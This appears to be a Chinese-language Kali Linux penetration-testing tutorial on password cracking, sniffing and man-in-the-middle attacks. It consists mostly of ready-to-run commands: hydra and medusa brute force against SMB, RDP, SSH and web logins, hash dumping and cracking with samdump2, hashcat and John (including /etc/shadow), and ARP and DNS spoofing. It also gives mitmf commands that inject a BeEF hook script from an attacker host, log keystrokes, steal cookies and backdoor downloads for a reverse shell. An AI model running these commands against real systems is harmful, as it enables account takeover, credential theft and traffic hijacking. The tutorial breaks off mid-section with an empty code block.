Kali Linux渗透测试之密码破解


思路

当目标系统实施了强安全措施

  1. 安装了所有补丁

  2. 无任何已知漏洞

  3. 无应用层漏洞

  4. 攻击面已经最小化

此时可以使用其他方法

  1. 社会工程学,攻击人的弱点

  2. 获取目标系统用户身份

    1. 非授权的用户无法访问授信资源,已认证用户可以访问授信资源

    2. 已有用户账号权限受限,需要提权

    3. 不会触发系统报警


身份认证方法

证明你是你声称你是的那个人

  1. 你知道什么

    账号密码,PIN码, passphrase:密码文

  2. 你有什么

    令牌,tokenkey,证书,密宝,手机

  3. 你是谁

    指纹,视网膜,虹膜,掌纹,声纹,面部识别

  4. 多因素身份认证

    以上多种方法结合使用

基于互联网的身份认证仍以账号密码为主要形式


密码破解方法

  1. 人工猜解

    垃圾桶工程

    被动信息收集

  2. 基于字典的暴力破解(主流)

  3. 利用键盘上可以敲击的全部字符进行组合来暴力破解(键盘空间字符爆破)

  4. 字典

    保存有用户名和密码的文本文件

    Kali Linux中存在的字典

    1
    2
    /usr/share/wordlist
    /usr/share/wfuzz/wordlist

字典

键盘空间字符爆破

  1. 全键盘空间字符

  2. 部分键盘空间字符(基于规则)

    数字,小写字母,大写字母,符号,空格,瑞典字符,高位ASCII

crunch

用于生成字典

  1. 格式:crunch <min-len> <max-len> [<charset string>] [options]

    min-len:字典中每行内容的最小长度

    max-len:字典中每行内容的最大长度

    charset string:字符集,默认为小写字符

  2. 选项:

    1
    2
    3
    4
    5
    -b:按大小分割字典文件为小体积的字典文件(kb/kib,mb/mib,gb/gib;不带i的以1000为划分,带i的以1024为划分),需与-o START结合使用
    -c:按每个字典的行数分割字典文件为小体积的字典文件,需与-o START结合使用
    -o START:生成字典文件时字典文件中内容以从小到大的方式排列
    -o:输出
    -d:同一字符连续出现的次数

    例:

    1
    crunch 6 6 0123456789 -o START -d 2 -b 1mb

    1.png

    当前目录下会生成字典文件,字典中内容为每行6个字符,按升序排列,同一字符最多连续出现2次,每个字典文件1MB大小

  3. 字符集:

    crunch工具默认存在字符集列表文件,位于/usr/share/crunch/charset.lst,使用-f参数指定使用的字符集

    3.png

    1
    crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt

    2.png

  4. 无重复字符

    1
    2
    3
    4
    5
    6
    crunch 1 1 -p 1234567890

    -p:指定一串字符,crunch会对将这些字符所有的排列可能情况生成为一个字典
    此参数必须是命令中的最后一个参数
    最大,最小字符长度参数失效,但必须存在
    与-s参数不兼容

    4.png

    1
    2
    3
    4
    5
    crunch 4 4 0123456789 -s 9900

    -s:指定字典生成的起始字符串

    默认无-s参数,字典中的内容范围是0000-9999,添加-s参数后,字典中的内容范围是9900-9999

    5.png

  5. 读取文件生成字典

    1
    2
    3
    4
    5
    crunch 1 1 -q read.txt

    -q:指定读取的文件
    将读取的文件中的每一行当作一个基本字符,利用这些基本字符生成不同排列顺序的字典
    最大,最小字符长度参数失效,但必须存在

    6.png

    7.png

  6. 字典生成规则

    利用密码的已知规律,使用crunch生成符合规律的字典文件

    1
    2
    3
    4
    5
    6
    7
    8
    crunch 6 6 -t @,%%^^ 

    -t:指定已知规律的通配符

    @:小写字母 lalpha
    ,:大写字母 ualpha
    %:数字 numeric
    ^:符号 symbols

    8.png

  7. 输出文件压缩

    1
    2
    3
    crunch 4 4 -t @,%^ -o 1.txt -z 7z

    -z:将生成的字典文件做压缩,支持的格式有:7z,gzip,bzip2,lzma。其中7z的压缩比率最大
  8. 1
    2
    3
    crunch 4 4 -f /usr/share/crunch/charset.lst hex-lower -o w.txt -t @d@@

    当指定-f字符集时,再指定-t中存在@时,此时的@表示字符集中的所有字符,而不是表示为小写字母

    9.png

    10.png

    1
    2
    3
    crunch 4 5 -p dog cat bird

    此时-p将后面的三个字符串视为三个基本字符,将这三个基本字符进行所有可能的排列,生成字典

    11.png

    1
    2
    3
    4
    5
    6
    crunch 5 5 abc DEF + \!@# -t ,@^%,

    +:占位符
    \:转义符

    abc DEF + \!@#表示小写字母只使用abc,大写字母只使用DEF,数字使用+占位符,表示全部数字,特殊字符只使用!@#

    12.png

    1
    2
    3
    4
    5
    crunch 5 5 -t ddd%% -p dog cat bird

    此时命令中因指定了-p,所以ddd不表示字典前三位为ddd,只是占位符,可使用其他任意字符。指定-t参数时要符合密码的长度

    此处不同于-p参数指定的值都是占位符

    13.png

    1
    2
    3
    crunch 5 5 -d 2@ -t @@@%%

    -d 2@表示同一个小写字母连续出现的次数不大于2次

    14.png

  9. 与其他程序组合应用

    当本地没有足够的空间存储生成的字典文件时,可将生成的字典直接交给破解程序使用

    1
    crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
    1
    crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -

cupp

Common User Password Profiler

按个人信息生成其专属的密码字典

  1. 下载安装

    1
    git clone https://github.com/Mebus/cupp.git

    15.png

  2. 使用

    1
    2
    3
    python3 cupp3.py -i 

    -i:以交互模式生成字典

    16.png

cewl

通过收集网站信息生成字典

支持基本,摘要身份认证

支持代理

1
2
3
4
5
6
7
8
cewl IP/域名 -m 3 -d 3 -e -c -v -w a.txt

-m:收集目标网站上的最小单词长度
-d:爬网深度
-e:收集email地址信息
-c:按每个单词出现的次数生成字典
-v:显示详细信息
-w:输出

17.png

18.png

如图,字符串后的数字为此字符串在站点中出现的次数

用户密码变型

  1. 基于cewl的结果进行密码变型

  2. 末尾增加数字串

  3. 字母大小写变化

  4. 字母与符号互相转换

  5. 字母与数字互相转换

    P@$$w0rd

John the Ripper

使用John the Ripper配置文件实现密码动态变型

配置文件位置:/etc/john/john.conf

  1. 修改配置文件

    1
    2
    3
    4
    5
    6
    [List.Rules:Wordlist]	#规则字段位置

    可添加
    $[0-9]$[0-9]$[0-9] #字典末尾添加3位数字
    $[0-9]$[0-9]$[0-9]$[a-zA-Z] #字典末尾添加3位数字与一位字母
    $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`#!#$%^&*()-=_+] #字典末尾添加3位数字,3位字母,一位特殊字符
  2. 使用John the Ripper生成密码文件

    1
    2
    3
    4
    5
    john --wordlist=cewl.txt --rules --stdout > m.txt

    --wordlist:基础密码文件
    --rules:使用john.conf配置文件中的规则,也可指定要使用的规则
    --stdout:标准输出
  1. 可自己添加John the Ripper工具配置文件规则

    1
    2
    3
    4
    [List.Rules:规则名称]
    $[0-9]$[0-9]$[0-9] #字典末尾添加3位数字
    $[0-9]$[0-9]$[0-9]$[a-zA-Z] #字典末尾添加3位数字与一位字母
    $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`#!#$%^&*()-=_+] #字典末尾添加3位数字,3位字母,一位特殊字符
  1. 指定某项规则生成密码文件

    1
    john --wordlist=cewl.txt --rules=test --stdout > m.txt
    1
    john --wordlist=ahm.lst --rules=test HASHFILE

pw-inspector

按长度和字符集筛选字典

1
2
3
4
5
6
7
pw-inspector -i /usr/share/wordlists/nma.lst -o p.lst -l -m 3 -M 5

-i:指定要筛选的字典文件
-o:设置筛选完成后的输出文件
-l:以小写字母的条件筛选
-m:指定最小长度
-M:指定最大长度

在线密码破解

对在运的服务器进行密码字典爆破,根据密码字典逐个尝试请求服务器。

hydra–九头蛇

Windows密码破解

破解Windowsadmin管理共享(smb服务)

1
2
3
4
5
6
7
8
9
10
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd

-l:指定破解使用的用户名
-L:指定破解使用的用户名字典
-p:指定破解使用的密码
-P:指定破解使用的密码字典
-v:详细模式
-V:显示登陆与每次尝试
-d:调试模式
-R:断点续破解

破解Windows中远程桌面服务(rdp服务)

1
2
3
hydra -l administrator -P pass.lst rdp://1.1.1.1 -vVd -t 1

-t:hydra因速度过快(默认并发连接数为16),会导致被破解端响应不及时而破解失败。为提高破解成功率,使用此参数指定较小并发连接数。最大并发连接数64

Linux密码破解

破解Linuxssh服务

1
2
3
hydra -l root -P pass.lst ssh://1.1.1.1 -vV -e nsr -t 1

-e nsr:n表示尝试空密码,s表示用户名密码相同,r表示密码为用户名倒置

其他服务密码破解

支持的协议:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码

1
2
3
4
hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 -vV

-s:指定非默认的服务端口
-o:结果输出

hydra图形化界面–xhydra

hydra基于http表单的身份认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hydra -l admin -P pass.lst 1.1.1.1 http-post-from "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V


http-post-from:使用http post表单身份认证

username与password为表单中输入框的名称

^USER^与^PASS^表示此两处为使用字典中内容填充的位置

根据post请求传输数据的具体格式来定义""中的构造

:S=index.php:此处:后应填写当登陆失败时返回的特征字符表示此次破解尝试失败,进行下次尝试。
此处应根据服务器对登陆post包的第一次响应包中的字符来确定特征字符,而非页面显示字符(应使用bp等抓包工具来确定)。应为login.php,非页面显示的login failed
DVWA中无论登陆成功或者失败,第一次响应包中都会包含login.php,所以hydra无论登陆成功与否都会认为登陆失败,进行下次尝试,所以此处应该换个思路
将失败的特征字符改为index.php,则可破解出密码。说明无论怎样,必须将特征字符准确的找出,才可能会破解成功。
1
2
3
4
hydra -l admin -P pass.lst 1.1.1.1 http-post-from "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo:Foo" -V

C:用于先访问指定的页面取得cookie,再使用此cookie进行密码破解
H:指定http头,可设置多个H参数表示多个http头

hydra同时也支持http-get-form(get请求),https-post-form请求,https-get-form请求。使用https请求时需使用-S参数,使用SSL连接

medusa

hydra的缺点

  1. 稳定性差,程序时常崩溃

  2. 速度控制不好,容易触发服务屏蔽或锁死机制

  3. 对每台主机新建进程,对每个服务新建实例,系统资源,存储消耗较大

  4. 大量目标时破解性能差

medusa的特点

  1. 稳定性好

  2. 速度控制得当

  3. 基于线程

  4. 支持模块少于hydra(不支持rdp)

  5. web-form支持存在缺陷

Windows密码破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F

-d:查看medusa支持的模块
-h:指定破解的目标
-u:指定单个用户名
-U:指定用户名文件
-p:指定单个密码
-P:指定密码文件
-C:指定用户名密码文件(文件中用户名和密码在同一行,以分隔符分开)
-e n/s/ns:n表示进行空密码尝试,s表示进行密码等于用户名尝试
-M:指定使用的模块
-F:首次破解成功即退出程序不再进行破解
-n:指定非默认端口
-s:使用SSL连接
-T:指定并发主机数

Linux密码破解

1
medusa -M ssh -h 1.1.1.1 -e ns -F -u root -P pass.lst

其他服务密码破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
cvs.mod:CVS会话的暴力模块:2.0版

ftp.mod:FTP / FTPS会话的暴力模块:版本2.1

http.mod:HTTP的蛮力模块:版本2.1

imap.mod:用于IMAP会话的暴力模块:版本2.0

mssql.mod:M $ -SQL会话的暴力模块:版本2.0

mysql.mod:MySQL会话的暴力模块:版本2.0

nntp.mod:NNTP会话的暴力模块:版本2.0

pcanywhere.mod:PcAnywhere会话的暴力模块:版本2.0

pop3.mod:用于POP3会话的暴力模块:版本2.0

postgres.mod:PostgreSQL会话的暴力模块:版本2.0

rdp.mod:RDP(微软终端服务器)会话的蛮力模块:版本0.1

rexec.mod:REXEC会话的蛮力模块:版本2.0

rlogin.mod:RLOGIN会话的暴力模块:版本2.0

rsh.mod:RSH会话的暴力模块:版本2.0

smbnt.mod:SMB(LM / NTLM / LMv2 / NTLMv2)会话的强力模块:版本2.1

smtp-vrfy.mod:用于验证SMTP帐户的蛮力模块(VRFY / EXPN / RCPT TO):2.1版

smtp.mod:用于TLS的SMTP身份验证的蛮力模块:版本2.0

snmp.mod:SNMP Community Strings的暴力模块:版本2.1

ssh.mod:用于SSH v2会话的强力模块:版本2.1

svn.mod:Subversion会话的蛮力模块:版本2.1

telnet.mod:用于telnet会话的暴力模块:版本2.0

vmauthd.mod:VMware认证守护进程的蛮力模块:版本2.0

vnc.mod:用于VNC会话的暴力模块:版本2.1

web-form.mod:用于Web表单的暴力模块:版本2.1

wrapper.mod:通用包装模块:版本2.0
1
medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F

medusa基于http表单的身份认证

1
2
3
4
5
6
medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login"

-m:指定模块中的参数值,指定多个-m来指定多个参数
FORM参数:设置请求的目标
DENY-SIGNAL参数:破解失败时显示的特征字符。只可设置失败特征字符,不同于hydra只需找到成功与失败不同的特征字符即可
FORM-DATA参数:请求的方式,输入框中的内容(username,password)

查看某个模块使用的参数

1
medusa -M web-form -q

medusa设计思想为当进行破解,发出请求时,服务器返回200,然后从响应包中寻找特征字符来判断是否破解成功。但是DVWA不论登陆成功或者失败都会返回302,所以medusa无法进行DVWA登陆破解。

密码破解效率

  1. 密码复杂度(字典命中率)

  2. 带宽、协议、服务器性能、客户端性能

  3. 锁定阈值

  4. 单位时间最大登陆请求次数


离线密码破解

身份认证

  1. 禁止明文传输密码

  2. 每次认证使用HASH算法加密密码传输

  3. 服务器端用户数据库应加盐加密保存

破解思路

  1. 嗅探获取密码HASH

  2. 利用漏洞登陆服务器并从用户数据库中获取密码HASH

  3. 识别HASH类型

    长度、字符集

  4. 利用离线破解工具碰撞密码HASH

优势

  1. 离线密码破解不会触发密码锁定机制

  2. 不会产生大量登陆失败日志引起目标管理员注意

HASH类型识别工具

存在无法识别及识别错误的情况

hash-identifier

1
hash-identifier

hashid

1
hashid HASH值

Windows HASH获取工具

  1. 利用漏洞:pwdumpfgdumpmimikatzwce

  2. 物理接触:samdump2

samdump2

思路:

  1. 在目标主机上使用kali iso安装光盘,进入live模式

  2. 挂载目标主机物理硬盘

    1
    2
    fdisk -l	#查看目标主机的硬盘情况
    mount /dev/sda2 /mnt/ #挂载硬盘分区
  3. 寻找目标主机硬盘中的SAM数据库文件

    1
    cd /mnt/Windows/System32/config

    在此目录下存在SAM文件与SYSTEM文件,SAM文件用于存放操作系统用户的HASH密码,SYSTEM文件用于存放对SAM文件加密的密钥。若SYSTEM文件中存在密钥,则开机时需要输入两次密码,第一次为验证SYSTEM文件,解锁SAM文件;第二次为验证SAM文件,登陆系统。

  4. 利用samdump2工具在SAM数据库文件中读取HASH

    1
    samdump2 SYSTEM SAM -o sam.hash
  5. HASH值做离线密码破解

Hashcat

开源多线程密码破解工具

支持80多种加密算法破解

基于CPU的计算能力破解

六种模式

  1. 0 Straight:字典破解(默认)

  2. 1 Combination:将字典中密码进行组合(1 2 -> 11 22 12 21)

  3. 2 Toggle case:尝试字典中所有密码的大小写字母组合

  4. 3 Brute force:指定字符集(或全部字符集)所有组合

  5. 4 Permutayion:字典中密码的全部字符置换组合(12->21)

  6. 5 Table-lookup:程序为字典中所有密码自动生成掩码

1
2
3
4
5
6
hashcat -m 1000 sam.hash pass.lst

-m:指定hash算法id号
sam.hash:存有hash值的文件
pass.lst:密码字典
-a:指定使用的模式
1
-b:评估计算机CPU对不同的加密算法的破解能力
1
2
3
4
5
6
7
8
9
10
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?d?d

?l=abcdefghijklmnopqrstuvwxyz
?u=ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d=0123456789
?s=!"#$%'()*+,-:;<=>?@[\]^_`{|}~
?a=?l?u?d?s
?b=0x00-0xff

可以不指定密码字典,而使用特定的字符集进行破解
1
2
3
4
5
hsahcat -m 100 -a 3 sam.hash -i --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l

-i:密码长度增量模式
--increment-min:最小密码长度
--increment-max:最大密码长度

bkhive

Windows中syskey加密工具

Windows7SAM文件进行加密:win+R–>syskey–>输入密码或存储到介质–>完成

此时重启Windows7系统,需先输入一次密码,之后才可以输入登陆密码

此时SAM文件经过了再次加密,其中存储的HASH值已经不同于登陆密码的HASH值了,破解难度增大

加密过程:

  1. 使用bootkey利用RC4算法加密SAM数据库

  2. bootkey加密保存于SYSTEM文件中

bkhive

用于从SYSTEM文件中提取bootkey

kali2.0已经抛弃bkhive

编译安装

下载地址:http://http.us.debian.org/debian/pool/main/b/bkhive/

1
2
3
4
5
6
tar zxvf bkhive_1.1.1.orig.tar.gz
cd bkhive-1.1.1/
apt purge samdump2 #samdump2高版本与bkhive不兼容
apt install libssl-dev
make
make install

破解流程

  1. SYSTEM文件中的bootkey提取出来,存于bkey

    1
    bkhive SYSTEM bkey
  2. 配合samdump2提取未经过bootkey加密的HASH

    1
    samdump2 SAM bkey

无法实现,因kali2.0抛弃了bkhive,且samdump2高版本无法与bkhive兼容。建议使用kali1.x版本实现

oclhashcat

号称世界上最快、唯一的基于GPGPU(通用图形处理器)的密码破解软件

免费开源、支持多平台、支持分布式、支持150多种HASH算法

硬件支持

  1. 虚拟机中无法使用

  2. 支持CUDA技术的Nvidia显卡

  3. 支持OpenCL技术的AMD显卡

限制

  1. 最大支持密码长度55个字符

  2. 使用Unicode编码的最大密码长度为27个字符

1
2
3
oclhashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a

oclhashcat命令格式类似于hashcat

RainbowCrack(彩虹表)

通常的HASH破解技术流程

  1. 指定明文密码字典,指定要破解的HASH

  2. 将明文密码进行与要破解的HASH值相同的加密方法进行加密

  3. 将两者进行比对,若相同,即可对应出明文密码;若不同,继续加密下一个明文密码进行比对,以此类推

基于时间记忆权衡技术生成彩虹表

提前计算密码的HASH值,破解时直接进行比对HASH值来破解密码

Kali中包含的RainbowCrack(彩虹表)工具

  1. rtgen:预计算,生成彩虹表,耗时的阶段

  2. rtsort:对rtgen生成的彩虹表进行排序

  3. rcrack:查找彩虹表进行密码破解

修改版rtgen支持CUDA GPUhttp://www.freerainbowtables.com/en/download

彩虹表中一般包括:

  1. 密码明文

  2. HASH

  3. HASH算法

  4. 字符集类型

  5. 明文密码的长度范围

彩虹表下载

http://www.freerainbowtables.com/en/table/

http://rainbowtables.shmoo.com/

rtgen

生成彩虹表

支持的HASH加密算法:lanman,NTLMMD2MD4MD5SHA1SHA256`RIPEMD160`

1
2
3
4
rtgen md5 loweralpha 1 5 0 10000 10000 0

-bench:评估计算机CPU生成彩虹表的能力
rtgen HASH算法 字符集类型 明文密码最小长度 明文密码最大长度 表索引 表中链长 表中链数 链索引

生成的彩虹表(.rt文件)存放于/usr/share/rainbowcrack目录下

rtsort

彩虹表排序

1
rtsort md5_loweralpha#1-5_0_1000x1000_0.rt

rcrack

查找彩虹表进行密码破解

1
2
3
rcrack md5_loweralpha#1-5_0_1000x1000_0.rt -h HASH值

rcrack md5_loweralpha#1-5_0_1000x1000_0.rt -l hash.txt

John

基于CPU的密码破解工具

支持众多加密算法的破解(支持某些对称加密算法的破解)

1
john --list=formats

模式:

  1. wordlist:基于规则的字典破解

  2. single crack:默认首先使用的模式,使用当前破解账号的Login/GECOS信息尝试破解密码

    GECOS信息:指Linux系统在创建账号时,要求用户填写的包括名字,电话,住址,爱好在内的个人信息,这些信息存储于/etc/passwd中。对于已经存在的账号,可使用chfn命令来添加修改账户个人信息

  3. incremental:所有或指定字符集的暴力破解

  4. external:需要在主配置文件中使用C语言编程来说明如何破解

默认的破解模式

当不指定使用何种破解模式时,John会按照singlewordlistincremental的顺序进行破解

当不指定使用的密码字典时,John会使用主配置文件中指定的字典,$JOHN/password.lst/usr/share/john/password.lst

破解Linux系统账号密码

1
2
3
unshadow /etc/passwd /etc/shadow > pass.txt #合并两个文件
john pass.txt #开始密码破解
john --show pass.txt #查看已经破解的密码

破解成功的密码存在于当前目录下的.john/john.pot文件中

破解Windows系统账号密码

1
2
3
john sam.hash --wordlist=password.lst --format=nt

--format:指定要破解的hash类型

查看破解结果

1
john sam.hash --format=nt --show

图形化界面的john–johnny

ophcrack

基于彩虹表的LM,NTLM密码破解软件

图形化界面

官方彩虹表下载:http://ophcrack.sourceforge.net/tables.php


密码嗅探

基础知识

二、三层地址

MAC地址,主机到主机

IP地址,网络到网络

交换机与HUB

HUB会将数据包转发到除发送端口外的所有端口。若在HUB范围内的任意台主机,将其网卡设置为混杂模式,则可进行HUB范围内的密码嗅探

交换机根据学习地址,形成地址表来转发数据包。对于广播包,交换机会进行广播,将交换机网络范围内的主机网卡设置为混杂模式可以进行嗅探;但对于单播包,是无法进行嗅探的

ARP协议

用于IP地址转换为MAC地址

基于广播学习

请求、响应相对独立

基于传闻的协议

ARP协议的安全隐患

  1. ARP协议的请求包与响应包是相互独立的,所以即使一主机并没有发送ARP请求包,也是可以接受ARP响应包的。

  2. ARP协议是基于传闻的协议。当一主机接收到ARP响应包,就会信任此响应包,从而更改自己的IPMAC对应关系表

这就形成ARP欺骗

在同一局域网络中,A声称自己的MAC地址是网关IP所对应的MAC地址。向局域网中发送大量ARP响应广播包,局域网中的主机则会信任这种网关IPMACAMAC的这种对应关系,所以当局域网中的主机向网关发送数据时,都会发送到A处,A可以进行抓包,并且可以将自己设置为路由模式,相当于替代了路由器的功能,并且还形成中间人攻击,获取到局域网内主机的数据信息。

ARP欺骗

手动修改数据包,伪造ARP响应包实现ARP欺骗(OmniPeek)

arpspoof

1
2
3
4
arpspoof -t 192.168.1.12 -r 192.168.1.1

-t:指定被欺骗主机
-r:指定网关

效果:ARP欺骗成功后,192.168.1.12认为kali是网关,192.168.1.1认为kali是192.168.1.12。此时,1.12的数据包会发向kali,网关对1.12的回包会发向kali,从而kali实现中间人攻击

中间人实现路由转发功能

1
echo 1 > /proc/sys/net/ipv4/ip_forward

网络嗅探

  1. wireshark,tcpdump等工具

  2. 抓取图片,声音

    1
    2
    3
    4
    5
    6
    driftnet -i eth0 -a -d tmp/ -s 

    -i:指定抓包的网络接口
    -a:抓到的图片不实时显示,存储到目录中
    -d:指定存储目录
    -s:抓取声音
  3. 抓取访问链接

    1
    2
    3
    4
    webspy -i eth0 192.168.1.12

    -i:指定抓包的网络接口
    指定要抓取数据的被欺骗主机
  4. 抓取访问80,8080,3128端口的数据包

    1
    2
    3
    urlsnarf -i eth0

    -i:指定抓包的网络接口
  5. 抓取密码

    1
    2
    3
    4
    dsniff -i eth0 -m

    -i:指定抓包的网络接口
    -m:对抓取到的数据包中的协议自动解码

    查看dsniff支持的解码协议

    1
    cat /usr/share/dsniff/dsniff.services

DNS欺骗

  1. 结合ARP欺骗,也可以同时进行DNS欺骗

    1
    2
    3
    dnsspoof -i eth0 -f 		/usr/share/dsniff/dnsspoof.hosts
    -i:指定DNS欺骗使用的网络接口
    -f:指定要欺骗的域名与IP对应的列表文件

    因已经进行了ARP欺骗,1.12主机的所有数据包都会发向kali。命令执行后,会对数据包中访问UDP53端口的数据包进行截获。返回假的域名、IP对应关系,从而达到DNS欺骗的效果。可以实现网站登陆等信息的抓取

  2. DNS欺骗代理

    1
    2
    3
    4
    5
    dnschef --fakeip=1.1.1.1 --fakedomains=www.google.com,www.yutube.com --interface 1.1.1.2 -q

    --fakeip:指定欺骗后指向的IP
    --fakedomains:指定要欺骗的域名
    --interface:指定用于做欺骗的主机的IP
    1. 执行命令后,dnschef会监听做欺骗主机的udp53端口,同时指定一个真正的上游DNS服务器

    2. 修改被欺骗主机的hosts文件或DNS配置,将DNS查询请求指向做欺骗主机,实现DNS欺骗

    3. 当被欺骗主机访问被欺骗的域名时,会向做欺骗的主机发出DNS查询请求,做欺骗的主机会直接返回域名的A记录,即欺骗后指向的IP地址,实现流量劫持

    4. 当被欺骗主机访问未被欺骗的域名时,做欺骗的主机接到被欺骗主机DNS请求时,会向上游指定的真正的DNS服务器发起查询请求,得到真正的IP地址,然后返回给被欺骗主机,实现正常的DNS解析。此次过程对被欺骗主机不可见


中间人攻击

19.png

注入XSS

当实现了中间人攻击,客户端向服务器的发包,以及服务器向客户端的回包,都会经过中间人。

中间人对于两方的数据包,可以查看,可以修改。

即使服务器端没有XSS漏洞,当服务器向客户端的回包经过中间人时,中间人仍然可以插入XSS攻击代码,然后返回给客户端,实现XSS攻击,被称为凌空向每个HTTP请求中注入XSS攻击代码

若中间人发生在运营商线路上,很难引起用户注意

mitmf

号称最好用的中间人攻击工具(kali 2.0后默认未安装)

安装

安装依赖包

1
2
apt update
apt install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

安装

1
2
3
4
apt install mitmf
pip uninstall twisted
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5.0.tar.bz2

使用

mitmf会启动SSLstrip,将https降级为http

  1. 结合BeEf,将BeEfhook.js注入到数据包中

    1
    2
    cd /usr/share/beef-xss/
    ./beef
    1
    2
    3
    4
    5
    6
    7
    8
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --inject --js-url http://192.168.1.10:3000/hook.js
    --spoof:欺骗
    --arp:arp地址欺骗
    -i:指定使用的网络接口
    --gateway:指定网关IP
    --target:指定要欺骗的目标IP
    --inject:注入模式
    --js-url:指定恶意js脚本的地址
  2. 实现键盘记录器

    1
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --jskeylogger
  3. 图片反转180度

    1
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --upsidedownternet
  4. 屏幕快照

    1
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --screen

    每隔10秒钟,会抓取一张屏幕快照,图片存放于/var/log/mitmf

  5. 抓取cookie

    1
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --ferretng
  6. 浏览器及插件信息

    1
    mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --browserprofiler
  7. 获取SMB文件共享的信息

    1
    2
    --smbtrap
    --smbauth
  8. HTTP Strict Transport Security

    用于防止协议降级、cookie窃取

    安全策略通过HTTP响应头Strict-Transport-Security实施

    会限制user-agenthttps

    使用以下模块可绕过此安全策略

    1
    --hsts
  9. 注入后门

    1
    --filepwn

    当客户端从服务器请求下载可执行程序时,经过中间人,中间人会在可执行程序中注入后门程序后发送给客户端,客户端执行该程序后,会安装后门,或者直接向中间人反弹shell

ettercap

统一功能的中间人攻击工具

可转发MAC与本机相同,但IP与本机不同的数据包

支持SSHv1SSL中间人攻击

模块划分

  1. snifer(抓包)

  2. MITM(中间人攻击)

  3. filter(筛选)

  4. log(日志)

  5. plugin(插件)

snifer

负责数据包的转发

unified

单个网卡情况下,独立完成三层数据包转发

始终会禁用内核的ip_forward功能

bridge

两块网卡情况下,一块负责数据包进入,另一块负责数据包发出。相当于一层MITM模式

相当于IPS过滤数据包

不可在网关上使用这种模式,此模式相当于透明网桥,有较大的安全风险

MITM

把流量重定向到ettercap主机上

可以使用其他工具实现MITMettercap只作为嗅探和过滤使用

实现MITM的方法

  1. ARP地址欺骗

  2. ICMP

    ICMP路由重定向数据包,只可实现半双工中间人攻击

    20.png

    半双工指客户端发包发向中间人,中间人发向服务器,但服务器的回包不经过中间人,由服务器直接发向客户端

  3. DHCP

    修改网关地址,半双工

  4. switch port stealing(窃取交换机端口)

    适用于ARP静态绑定的环境

    攻击者与被攻击者连接在同一交换机上,攻击者发送flood包,目标地址是攻击者本机MAC地址,伪造源地址为被攻击者的MAC地址。此时交换机会认为攻击者所连的交换机端口的MAC地址是被攻击者的,则以后交换机收到的发往被攻击者的数据包都会发向攻击者,实现半双工的中间人攻击。若同时对被攻击者进行端口窃取,让被攻击者认为攻击者为交换机。则可实现全双工的中间人攻击

  5. NDP

    IPv6协议欺骗技术

Linux2.4 以上内核对ARP地址欺骗的约束

  1. 收到非自己发出的ARP请求包的响应包时,不更新本地ARP缓存

  2. ettercap使用ARP request包进行攻击

    solaris系统不根据ARP包来更新本地ARP缓存

  3. ettercap首先发送ICMP包来更新目标ARP缓存

基于ARP欺骗的使用

用户操作界面

1
2
3
4
-T		#文本界面
-G #图形界面
-C #基于文本的图形界面
-D #后台模式

指定目标

1
2
3
4
格式:MAC地址/IPv4地址(s)/IPv6地址(s)/端口号(s) MAC地址/IPv4地址(s)/IPv6地址(s)/端口号(s)

表示在这两个IP之间进行中间人攻击
若无,则空。保证///格式正确

权限

修改配置文件

1
2
3
4
5
6
vim /etc/ettercap/etter.conf

ec_uid = 0
ec_gid = 0

以root权限运行ettercap

基于伪造证书的SSL MITM

bridge模式不支持SSL MITM

生成证书

1
2
3
4
5
openssl genrsa -out etter.ssl.crt 1024
openssl req -new-keyetter.ssl.crt -out tmp.csr
openssl x509 -req -days 1825 -in tmp.csr -signkey etter.ssl.crt -out tmp.new
cat tmp.new >> etter.ssl.crt
rm -rf tmp.newtmp.csr

字符模式

1
2
3
4
5
6
7
8
9
10
11
12
